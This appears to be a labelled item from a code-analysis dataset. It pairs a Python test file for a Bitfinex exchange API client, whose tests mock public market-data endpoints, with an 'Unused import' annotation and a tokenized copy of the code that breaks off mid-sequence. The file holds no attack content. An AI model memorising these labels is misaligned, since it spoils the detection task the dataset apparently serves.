[ { "content": "import unittest\nimport mock\nimport requests\nimport httpretty\n\nfrom decouple import config\n\nfrom bitfinex.client import Client, TradeClient\n\nAPI_KEY = config('API_KEY')\nAPI_SECRET = config('API_SECRET')\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class BitfinexTest(unittest.TestCase):\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.BitfinexTest", "header": "['module', '___EOS___']", "index": 12 }, { "content": " def setUp(self):\n self.client = Client()", "metadata": "root.BitfinexTest.setUp", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 14 }, { "content": " def test_should_have_server(self):\n self.assertEqual(\"https://api.bitfinex.com/v1\", self.client.server())", "metadata": "root.BitfinexTest.test_should_have_server", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 18 }, { "content": " def test_should_have_url_for_foo(self):\n expected = \"https://api.bitfinex.com/v1/foo\"\n self.assertEqual(expected, self.client.url_for(\"foo\"))", "metadata": "root.BitfinexTest.test_should_have_url_for_foo", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 22 }, { "content": " def test_should_have_url_for_path_arg(self):\n expected = \"https://api.bitfinex.com/v1/foo/bar\"\n actual = self.client.url_for('foo/%s', path_arg=\"bar\")\n self.assertEqual(expected, actual)", "metadata": "root.BitfinexTest.test_should_have_url_for_path_arg", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 27 }, { "content": " def test_should_have_url_with_parameters(self):\n expected = \"https://api.bitfinex.com/v1/foo?a=1&b=2\"\n actual = self.client.url_for('foo', parameters={'a': 1, 'b': 2})\n self.assertEqual(expected, actual)", "metadata": "root.BitfinexTest.test_should_have_url_with_parameters", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 33 }, { "content": " def test_should_have_url_for(self):\n expected = self.client.url_for(\"foo\")\n self.assertEqual(\"https://api.bitfinex.com/v1/foo\", expected)", "metadata": "root.BitfinexTest.test_should_have_url_for", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 39 }, { "content": " def test_should_have_url_for_with_path_arg(self):\n expected = \"https://api.bitfinex.com/v1/foo/bar\"\n path = \"foo/%s\"\n self.assertEqual(expected, self.client.url_for(path, path_arg='bar'))\n self.assertEqual(expected, self.client.url_for(path, 'bar'))", "metadata": "root.BitfinexTest.test_should_have_url_for_with_path_arg", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 44 }, { "content": " def test_should_have_url_for_with_parameters(self):\n expected = \"https://api.bitfinex.com/v1/foo?a=1\"\n self.assertEqual(expected, self.client.url_for(\"foo\", parameters={'a': 1}))\n self.assertEqual(expected, self.client.url_for(\"foo\", None, {'a': 1}))", "metadata": "root.BitfinexTest.test_should_have_url_for_with_parameters", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 51 }, { "content": " def test_should_have_url_for_with_path_arg_and_parameters(self):\n expected = \"https://api.bitfinex.com/v1/foo/bar?a=1\"\n path = \"foo/%s\"\n self.assertEqual(expected, self.client.url_for(path, path_arg='bar', parameters={'a': 1}))\n self.assertEqual(expected, self.client.url_for(path, 'bar', {'a': 1}))", "metadata": "root.BitfinexTest.test_should_have_url_for_with_path_arg_and_parameters", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 57 }, { "content": " @httpretty.activate\n def test_should_have_symbols(self):\n # mock out the request\n mock_body = '[\"btcusd\",\"ltcusd\",\"ltcbtc\"]'\n url = self.client.url_for('symbols')\n httpretty.register_uri(httpretty.GET, url, body=mock_body, status=200)\n\n expected = [\"btcusd\",\"ltcusd\",\"ltcbtc\"]\n self.assertEqual(expected, self.client.symbols())", "metadata": "root.BitfinexTest.test_should_have_symbols", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 64 }, { "content": " @httpretty.activate\n def test_should_have_ticker(self):\n # mock out the request\n mock_body = '{\"mid\":\"562.56495\",\"bid\":\"562.15\",\"ask\":\"562.9799\",\"last_price\":\"562.25\",\"timestamp\":\"1395552658.339936691\"}'\n url = self.client.url_for('ticker/%s', path_arg='btcusd')\n httpretty.register_uri(httpretty.GET, url, body=mock_body, status=200)\n\n expected = {\n \"mid\": 562.56495,\n \"bid\": 562.15,\n \"ask\": 562.9799,\n \"last_price\": 562.25,\n \"timestamp\": 1395552658.339936691\n }\n\n self.assertEqual(expected, self.client.ticker('btcusd'))", "metadata": "root.BitfinexTest.test_should_have_ticker", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 75 }, { "content": " @httpretty.activate\n def test_should_have_today(self):\n # mock out the request\n mock_body = '{\"low\":\"550.09\",\"high\":\"572.2398\",\"volume\":\"7305.33119836\"}'\n url = self.client.url_for('today/%s', path_arg='btcusd')\n httpretty.register_uri(httpretty.GET, url, body=mock_body, status=200)\n\n expected = {\n \"low\": 550.09,\n \"high\": 572.2398,\n \"volume\": 7305.33119836\n }\n\n self.assertEqual(expected, self.client.today('btcusd'))", "metadata": "root.BitfinexTest.test_should_have_today", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 93 }, { "content": " @httpretty.activate\n def test_should_have_stats(self):\n # mock out the request\n mock_body = '[{\"period\":1,\"volume\":\"7410.27250155\"},{\"period\":7,\"volume\":\"52251.37118006\"},{\"period\":30,\"volume\":\"464505.07753251\"}]'\n url = self.client.url_for('stats/%s', path_arg='btcusd')\n httpretty.register_uri(httpretty.GET, url, body=mock_body, status=200)\n\n expected = [\n {\"period\": 1, \"volume\": 7410.27250155},\n {\"period\": 7, \"volume\": 52251.37118006},\n {\"period\": 30,\"volume\": 464505.07753251}\n ]\n\n self.assertEqual(expected, self.client.stats('btcusd'))", "metadata": "root.BitfinexTest.test_should_have_stats", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 109 }, { "content": " @httpretty.activate\n def test_should_have_lendbook(self):\n # mock out the request\n mock_body = '{\"bids\":[{\"rate\":\"5.475\",\"amount\":\"15.03894663\",\"period\":30,\"timestamp\":\"1395112149.0\",\"frr\":\"No\"},{\"rate\":\"2.409\",\"amount\":\"14.5121868\",\"period\":7,\"timestamp\":\"1395497599.0\",\"frr\":\"No\"}],\"asks\":[{\"rate\":\"6.351\",\"amount\":\"15.5180735\",\"period\":5,\"timestamp\":\"1395549996.0\",\"frr\":\"No\"},{\"rate\":\"6.3588\",\"amount\":\"626.94808249\",\"period\":30,\"timestamp\":\"1395400654.0\",\"frr\":\"Yes\"}]}'\n url = self.client.url_for('lendbook/%s', 'btc')\n httpretty.register_uri(httpretty.GET, url, body=mock_body, status=200)\n\n expected = {\n \"bids\": [\n {\"rate\": 5.475, \"amount\": 15.03894663, \"period\": 30, \"timestamp\": 1395112149.0, \"frr\": False},\n {\"rate\": 2.409, \"amount\": 14.5121868, \"period\": 7, \"timestamp\": 1395497599.0, \"frr\": False}\n ],\n \"asks\": [\n {\"rate\": 6.351, \"amount\": 15.5180735, \"period\": 5, \"timestamp\": 1395549996.0, \"frr\": False},\n {\"rate\": 6.3588, \"amount\": 626.94808249, \"period\": 30, \"timestamp\": 1395400654.0, \"frr\": True}\n ]\n }\n\n self.assertEqual(expected, self.client.lendbook('btc'))", "metadata": "root.BitfinexTest.test_should_have_lendbook", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 125 }, { "content": " @httpretty.activate\n def test_should_have_lendbook_with_parameters(self):\n # mock out the request\n mock_body = '{\"bids\":[{\"rate\":\"5.475\",\"amount\":\"15.03894663\",\"period\":30,\"timestamp\":\"1395112149.0\",\"frr\":\"No\"},{\"rate\":\"2.409\",\"amount\":\"14.5121868\",\"period\":7,\"timestamp\":\"1395497599.0\",\"frr\":\"No\"}],\"asks\":[]}'\n parameters = {'limit_bids': 2, 'limit_asks': 0}\n url = self.client.url_for('lendbook/%s', 'btc', parameters)\n httpretty.register_uri(httpretty.GET, url, body=mock_body, status=200)\n\n expected = {\n \"bids\": [\n {\"rate\": 5.475, \"amount\": 15.03894663, \"period\": 30, \"timestamp\": 1395112149.0, \"frr\": False},\n {\"rate\": 2.409, \"amount\": 14.5121868, \"period\": 7, \"timestamp\": 1395497599.0, \"frr\": False}\n ],\n \"asks\": [\n ]\n }\n\n self.assertEqual(expected, self.client.lendbook('btc', parameters))", "metadata": "root.BitfinexTest.test_should_have_lendbook_with_parameters", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 146 }, { "content": " @httpretty.activate\n def test_should_have_order_book(self):\n # mock out the request\n mock_body = '{\"bids\":[{\"price\":\"562.2601\",\"amount\":\"0.985\",\"timestamp\":\"1395567556.0\"}],\"asks\":[{\"price\":\"563.001\",\"amount\":\"0.3\",\"timestamp\":\"1395532200.0\"}]}'\n url = self.client.url_for('book/%s', 'btcusd')\n httpretty.register_uri(httpretty.GET, url, body=mock_body, status=200)\n\n expected = {\n \"bids\": [\n {\"price\": 562.2601, \"amount\": 0.985, \"timestamp\": 1395567556.0}\n ],\n \"asks\": [\n {\"price\": 563.001, \"amount\": 0.3, \"timestamp\": 1395532200.0}\n ]\n }\n\n self.assertEqual(expected, self.client.order_book('btcusd'))", "metadata": "root.BitfinexTest.test_should_have_order_book", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 166 }, { "content": " @httpretty.activate\n def test_should_have_order_book_with_parameters(self):\n # mock out the request\n mock_body = '{\"bids\":[{\"price\":\"562.2601\",\"amount\":\"0.985\",\"timestamp\":\"1395567556.0\"}],\"asks\":[]}'\n parameters = {'limit_asks': 0}\n url = self.client.url_for('book/%s', 'btcusd', parameters)\n httpretty.register_uri(httpretty.GET, url, body=mock_body, status=200)\n\n expected = {\n \"bids\": [\n {\"price\": 562.2601, \"amount\": 0.985, \"timestamp\": 1395567556.0}\n ],\n \"asks\": []\n }\n\n self.assertEqual(expected, self.client.order_book('btcusd', parameters))", "metadata": "root.BitfinexTest.test_should_have_order_book_with_parameters", "header": "['class', 'BitfinexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 185 }, { "content": "class TestTradeClient(unittest.TestCase):\n\n\n\n", "metadata": "root.TestTradeClient", "header": "['module', '___EOS___']", "index": 203 }, { "content": " def setUp(self):\n self.tc = TradeClient(API_KEY, API_SECRET)", "metadata": "root.TestTradeClient.setUp", "header": "['class', 'TestTradeClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 204 }, { "content": " def test_instantiate_tradeclient(self):\n self.assertIsInstance(self.tc, TradeClient)", "metadata": "root.TestTradeClient.test_instantiate_tradeclient", "header": "['class', 'TestTradeClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 207 }, { "content": " def test_get_active_orders_returns_json(self):\n ao = self.tc.active_orders()\n self.assertIsInstance(ao, list)", "metadata": "root.TestTradeClient.test_get_active_orders_returns_json", "header": "['class', 'TestTradeClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 210 }, { "content": " def test_get_active_positions_returns_json(self):\n ap = self.tc.active_positions()\n self.assertIsInstance(ap, list)", "metadata": "root.TestTradeClient.test_get_active_positions_returns_json", "header": "['class', 'TestTradeClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 214 }, { "content": " def test_get_full_history(self):\n ap = self.tc.active_positions()\n self.assertIsInstance(ap, list)", "metadata": "root.TestTradeClient.test_get_full_history", "header": "['class', 'TestTradeClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 218 } ]
[ { "span": "import mock", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 11 }, { "span": "import requests", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "requests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "httpretty_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "deco", "uple_", "import_", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "bitfi", "nex", "_", "._", "client_", "import_", "Client_", ",_", "Trade", "Client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "API", "\\u", "KEY_", "=_", "config_", "(_", "'", "API", "\\u", "KEY", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "API", "\\u", "SECRET_", "=_", "config_", "(_", "'", "API", "\\u", "SEC", "RET", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "client_", "=_", "Client_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "server_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "\"", "https", "://", "api", ".", "bitfi", "nex", ".", "com", "/", "v1", "\"_", ",_", "self_", "._", "client_", "._", "server_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "url", "\\u", "for", "\\u", "foo_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected_", "=_", "\"", "https", "://", "api", ".", "bitfi", "nex", ".", "com", "/", "v1", "/", "foo", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "\"", "foo", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "url", "\\u", "for", "\\u", "path", "\\u", "arg_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected_", "=_", "\"", "https", "://", "api", ".", "bitfi", "nex", ".", "com", "/", "v1", "/", "foo", "/", "bar", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "'", "foo", "/", "%", "s", "'_", ",_", "path", "\\u", "arg_", "=_", "\"", "bar", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "actual_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "url", "\\u", "with", "\\u", "parameters_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected_", "=_", "\"", "https", "://", "api", ".", "bitfi", "nex", ".", "com", "/", "v1", "/", "foo", "?", "a", "=", "1", "&", "b", "=", "2", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "'", "foo", "'_", ",_", "parameters_", "=_", "{_", "'", "a", "'_", ":_", "1_", ",_", "'", "b", "'_", ":_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "actual_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "url", "\\u", "for_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "\"", "foo", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "https", "://", "api", ".", "bitfi", "nex", ".", "com", "/", "v1", "/", "foo", "\"_", ",_", "expected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "url", "\\u", "for", "\\u", "with", "\\u", "path", "\\u", "arg_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected_", "=_", "\"", "https", "://", "api", ".", "bitfi", "nex", ".", "com", "/", "v1", "/", "foo", "/", "bar", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "\"", "foo", "/", "%", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "path_", ",_", "path", "\\u", "arg_", "=_", "'", "bar", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "path_", ",_", "'", "bar", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "url", "\\u", "for", "\\u", "with", "\\u", "parameters_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected_", "=_", "\"", "https", "://", "api", ".", "bitfi", "nex", ".", "com", "/", "v1", "/", "foo", "?", "a", "=", "1", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "\"", "foo", "\"_", ",_", "parameters_", "=_", "{_", "'", "a", "'_", ":_", "1_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "\"", "foo", "\"_", ",_", "None_", ",_", "{_", "'", "a", "'_", ":_", "1_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "url", "\\u", "for", "\\u", "with", "\\u", "path", "\\u", "arg", "\\u", "and", "\\u", "parameters_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected_", "=_", "\"", "https", "://", "api", ".", "bitfi", "nex", ".", "com", "/", "v1", "/", "foo", "/", "bar", "?", "a", "=", "1", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "\"", "foo", "/", "%", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "path_", ",_", "path", "\\u", "arg_", "=_", "'", "bar", "'_", ",_", "parameters_", "=_", "{_", "'", "a", "'_", ":_", "1_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "path_", ",_", "'", "bar", "'_", ",_", "{_", "'", "a", "'_", ":_", "1_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "httpretty_", "._", "activate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "symbols_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mock", " ", "out", " ", "the", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mock", "\\u", "body_", "=_", "'[", "\"", "btc", "usd", "\",\"", "lt", "cus", "d", "\",\"", "lt", "cb", "tc", "\"]'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "'", "symbols", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "httpretty_", "._", "register", "\\u", "uri_", "(_", "httpretty_", "._", "GET_", ",_", "url_", ",_", "body_", "=_", "mock", "\\u", "body_", ",_", "status_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "[_", "\"", "btc", "usd", "\"_", ",_", "\"", "lt", "cus", "d", "\"_", ",_", "\"", "lt", "cb", "tc", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "symbols_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "httpretty_", "._", "activate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "ticker_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mock", " ", "out", " ", "the", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mock", "\\u", "body_", "=_", "'{", "\"", "mid", "\":\"", "562", ".5", "649", "5", "\",\"", "bid", "\":\"", "562", ".1", "5", "\",\"", "ask", "\":\"", "562", ".9", "799", "\",\"", "last", "\\u", "price", "\":\"", "562", ".2", "5", "\",\"", "timestamp", "\":\"", "139", "555", "265", "8.3", "399", "366", "9", "1", "\"}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "'", "ticker", "/", "%", "s", "'_", ",_", "path", "\\u", "arg_", "=_", "'", "btc", "usd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "httpretty_", "._", "register", "\\u", "uri_", "(_", "httpretty_", "._", "GET_", ",_", "url_", ",_", "body_", "=_", "mock", "\\u", "body_", ",_", "status_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "mid", "\"_", ":_", "562", ".5", "649", "5_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "bid", "\"_", ":_", "562", ".15_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "ask", "\"_", ":_", "562", ".9", "799", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "last", "\\u", "price", "\"_", ":_", "562", ".25_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "timestamp", "\"_", ":_", "139", "555", 